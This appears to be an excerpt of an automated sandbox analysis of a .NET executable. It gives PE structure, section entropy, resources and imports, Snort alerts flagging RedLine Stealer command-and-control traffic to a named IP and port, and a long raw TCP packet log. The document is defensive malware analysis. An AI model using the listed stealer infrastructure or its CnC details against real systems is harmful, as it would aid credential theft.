add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb1d64	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb2000	0x2a8a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xafdc4	0xafe00	2a7bbfb24e2715f1dbd62ac9328337dd	False	0.8865535603233831	data	7.90237020530487	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb2000	0x2a8a	0x2c00	6a686db17d55b66f27706194ba083ead	False	0.8994140625	data	7.551675563345795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x200	6e02a915760e68cd6298eeaf6e733d8c	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb2130	0x2476	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9996785943861153
RT_GROUP_ICON	0xb45a8	0x14	data	1.05
RT_VERSION	0xb45bc	0x2e4	data	0.4472972972972973
RT_MANIFEST	0xb48a0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/01/24-20:35:54.029434	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	47232	49711	147.45.47.65	192.168.2.7
05/01/24-20:35:53.101816	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	49711	47232	192.168.2.7	147.45.47.65
05/01/24-20:36:00.399690	TCP	2046056	ET TROJAN Redline Stealer/MetaStealer Family Activity (Response)	47232	49711	147.45.47.65	192.168.2.7
05/01/24-20:36:05.641411	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49711	47232	192.168.2.7	147.45.47.65

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 20:35:42.752145052 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:42.752194881 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:42.752273083 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:42.765981913 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:42.765995979 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.488966942 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.489051104 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:43.492105961 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:43.492117882 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.492377043 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.541094065 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:43.550756931 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:43.596117973 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.787760973 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.787831068 CEST	443	49699	193.109.246.100	192.168.2.7
May 1, 2024 20:35:43.787940979 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:43.795061111 CEST	49699	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:44.027199030 CEST	49702	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:44.027234077 CEST	443	49702	193.109.246.100	192.168.2.7
May 1, 2024 20:35:44.027295113 CEST	49702	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:44.027699947 CEST	49702	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:44.027714968 CEST	443	49702	193.109.246.100	192.168.2.7
May 1, 2024 20:35:44.758315086 CEST	443	49702	193.109.246.100	192.168.2.7
May 1, 2024 20:35:44.760432005 CEST	49702	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:44.760457039 CEST	443	49702	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.002799988 CEST	443	49702	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.002935886 CEST	443	49702	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.003001928 CEST	49702	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.003509998 CEST	49702	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.005516052 CEST	49703	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.005553961 CEST	443	49703	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.005630970 CEST	49703	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.005897999 CEST	49703	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.005913019 CEST	443	49703	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.740026951 CEST	443	49703	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.741678953 CEST	49703	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.741713047 CEST	443	49703	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.980688095 CEST	443	49703	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.980753899 CEST	443	49703	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.980916977 CEST	49703	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.981369972 CEST	49703	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.982662916 CEST	49705	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.982702017 CEST	443	49705	193.109.246.100	192.168.2.7
May 1, 2024 20:35:45.982793093 CEST	49705	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.983015060 CEST	49705	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:45.983027935 CEST	443	49705	193.109.246.100	192.168.2.7
May 1, 2024 20:35:46.756118059 CEST	443	49705	193.109.246.100	192.168.2.7
May 1, 2024 20:35:46.757708073 CEST	49705	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:46.757740974 CEST	443	49705	193.109.246.100	192.168.2.7
May 1, 2024 20:35:47.013592005 CEST	443	49705	193.109.246.100	192.168.2.7
May 1, 2024 20:35:47.013674021 CEST	443	49705	193.109.246.100	192.168.2.7
May 1, 2024 20:35:47.013856888 CEST	49705	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:47.014815092 CEST	49705	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:47.016081095 CEST	49706	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:47.016122103 CEST	443	49706	193.109.246.100	192.168.2.7
May 1, 2024 20:35:47.016196012 CEST	49706	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:47.016417980 CEST	49706	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:47.016427994 CEST	443	49706	193.109.246.100	192.168.2.7
May 1, 2024 20:35:47.731729031 CEST	443	49706	193.109.246.100	192.168.2.7
May 1, 2024 20:35:47.733217001 CEST	49706	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:47.733234882 CEST	443	49706	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.009030104 CEST	443	49706	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.009085894 CEST	443	49706	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.009161949 CEST	49706	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.009598970 CEST	49706	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.010869026 CEST	49708	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.010902882 CEST	443	49708	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.010970116 CEST	49708	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.011275053 CEST	49708	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.011291027 CEST	443	49708	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.744637012 CEST	443	49708	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.748128891 CEST	49708	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.748146057 CEST	443	49708	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.990933895 CEST	443	49708	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.991009951 CEST	443	49708	193.109.246.100	192.168.2.7
May 1, 2024 20:35:48.991059065 CEST	49708	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:48.991744995 CEST	49708	443	192.168.2.7	193.109.246.100
May 1, 2024 20:35:49.435406923 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:49.435447931 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:49.435825109 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:49.435825109 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:49.435861111 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:49.645272970 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:49.647030115 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:49.647030115 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:49.647067070 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:49.647305965 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:49.652107954 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:49.700128078 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.410818100 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.410876989 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.410916090 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.410936117 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.410952091 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.410963058 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.410993099 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.411031008 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411060095 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411068916 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.411083937 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411134958 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.411258936 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411318064 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411358118 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411358118 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.411366940 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.411411047 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.411423922 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.412137032 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.412178040 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.412193060 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.412228107 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.412266970 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.412272930 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.412281036 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.412324905 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.412332058 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413019896 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413058043 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413072109 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.413085938 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413122892 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413130999 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.413141012 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413187027 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.413814068 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413898945 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413929939 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413943052 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.413959026 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413992882 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.413996935 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.414004087 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.414052963 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.414657116 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.414800882 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.414832115 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.414844990 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.414861917 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.414902925 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.414923906 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.415623903 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.415662050 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.415669918 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.415679932 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.415723085 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.415729046 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.415761948 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.415802002 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.415807009 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.416573048 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.416670084 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.416682959 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.462999105 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.505630970 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.505687952 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.505702972 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.505727053 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.505743027 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.505769968 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.506453991 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.506501913 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.506577015 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.506624937 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.507441044 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.507474899 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.507497072 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.507531881 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.507550001 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.507572889 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.508199930 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.508240938 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.508246899 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.508265972 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.508282900 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.508306026 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.509136915 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.509216070 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.515100002 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.515160084 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.515264988 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.515316010 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.515829086 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.515875101 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.516585112 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.516649008 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.516666889 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.516712904 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.517510891 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.517569065 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.558613062 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.558681011 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.599546909 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.599610090 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.600055933 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.600119114 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.600239992 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.600292921 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.600619078 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.600672007 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.600728035 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.600775003 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.601530075 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.601574898 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.601587057 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.601599932 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.601623058 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.602442026 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.602473974 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.602499008 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.602504969 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.602521896 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.603352070 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.603383064 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.603406906 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.603411913 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.603455067 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.604176998 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.604227066 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.604233027 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.604247093 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.604278088 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.604283094 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.604306936 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.605067015 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.605451107 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.605457067 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.605504036 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.605817080 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.605865002 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.606112003 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.606142998 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.606174946 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.606179953 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.606189966 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.606937885 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.606992960 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.606997013 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.607039928 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.607716084 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.607768059 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.607799053 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.607848883 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.608570099 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.608629942 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.608668089 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.608715057 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.609638929 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.609699011 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.610477924 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.610541105 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.612268925 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.612288952 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.612333059 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.612338066 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.612382889 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.614132881 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.614155054 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.614192963 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.614198923 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.614236116 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.615834951 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.615852118 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.615900993 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.615906954 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.615933895 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.617619991 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.617638111 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.617680073 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.617697954 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.617714882 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.619355917 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.619373083 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.619420052 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.619432926 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.619469881 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.621428967 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.621448040 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.621483088 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.621488094 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.621516943 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.652965069 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.652983904 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.653033018 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.653044939 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.653083086 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.694118977 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.694143057 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.694188118 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.694200039 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.694226027 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.695467949 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.695486069 CEST	443	49710	172.67.202.98	192.168.2.7
